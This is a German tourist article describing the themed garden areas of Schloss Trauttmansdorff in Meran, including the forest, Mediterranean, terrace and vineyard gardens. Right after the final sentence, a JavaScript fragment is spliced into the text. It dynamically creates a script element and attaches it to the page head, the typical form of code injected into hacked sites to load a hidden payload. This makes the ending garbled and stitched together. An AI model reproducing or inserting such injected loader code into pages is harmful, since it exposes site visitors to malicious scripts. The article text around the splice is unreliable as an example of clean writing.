Die Gärten von Schloss Trauttmansdorff – eine einzigartige Gartenwelt

Schloss Trauttmansdorff

Foto: Blick auf die Botanischen Gärten von Schloss Trauttmansdorff | (CC BY-SA 2.0) von eriwst

Botanischer Garten Meran – das ist eine Wunderwelt der Gartenkunst. Am östlichen Stadtrand Merans eröffnet sich Besuchern hier eine einzigartige Pflanzenwelt. Die Anlage bezaubert mit vier thematisch unterschiedlichen Gartenwelten: den Waldgärten, die Sonnengärten, den Wasser- und Terrassengärten und den Landschaften Südtirols. Hier gibt es neben botanischen Raritäten auch Events wie die „Gartennächte“. Auf Sissis Spuren können die Meran-Urlauber hier ebenfalls wandeln, schließlich war Schloss Trauttmandorff die kaiserliche Sommerresidenz.

Die Waldgärten an der Nordseite des Schlosses und sind im Sommer durch den Schatten beliebt. Hier wachsen verschiedene Laub- und Nadelhölzer aus Nord-und Südamerika und Ostasien. Im Farntal mit seinen Wasserfällen und Bachläufen ist es romantisch und kühl. Auch ein asiatisches Reisfeld und eine Teeplantage können die Urlauber besichtigen. Im japanischen Garten ist alles nach Plänen eines japanischen Gartenkunstmeisters angeordnet. Jede Pflanze, jeder Stein hat seinen Platz.

Am Palmenstrand fasziniert die Verschmelzung zwischen Nord und Süd. Unter Palmen haben die Touristen einen fantastischen Panoramablick auf die schneebedeckten Bergspitzen und fühlt sich auf Liegestühlen wie in der Südsee.

Die Sonnengärten auf den Südhängen sind dagegen mediterran und sehr exotisch. Immergrüne Gehölze, Korkeichen, duftende Zwergsträucher und ein Olivenhain mit einem 700-jährigen Exemplar beeindrucken besonders. Pinien, Zypressen, Granatäpfel-, Maulbeer- und Feigenbäume werden hier kultiviert. Im Sukkulentenbereich finden sich zahlreiche Kakteen, Aloen und Agaven.

In den Wasser- und Terrassengärten finden Blumenfreunde herrliche Beispiele europäischer Gartenarchitektur. Vom italienischen Renaissancegarten bis zum englischen Staudengarten oder Sinnesgarten können Gartenfreunde fantastische Gartenwelten bewundern. Die einzelnen Bereiche sind auf verschiedenen Ebenen angeordnet, die durch Wasserläufe und Treppen verbunden wurden. Geometrisch geschnittene Buchsbäume und exakt angelegte Beete finden die Besucher ebenso wie einen romantischen Seerosenteich mit Lotusblumen. Hier blühen im Frühling Kamelien, Azaleen und über 200 Hanfpalmen. Im Rosengarten, ein Muss für alle Rosenkenner, gibt es 50 wilde und 30 historische Rosensorten.

Der botanische Garten Meran zeigt aber auch die traditionellen Kulturlandschaften Südtirols, einem Land mit dreitausendjähriger Weinbautradition. Natürlich finden die Besucher hier neben einer typischen Streuobstwiese mit Äpfeln und Birnen einen Weinberg. Auf ihn wachsen die bekannten Tiroler Sorten Gewürztraminer und Vernatsch sowie einen Speltzaun. Diese Sorten sind ein charakteristisches Merkmal des Südtiroler Bauerngartens.

Es gibt viel zu entdecken im botanischen Garten Merans und wer ihn besucht, sollte unbedingt Zeit mitbringen.} var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);

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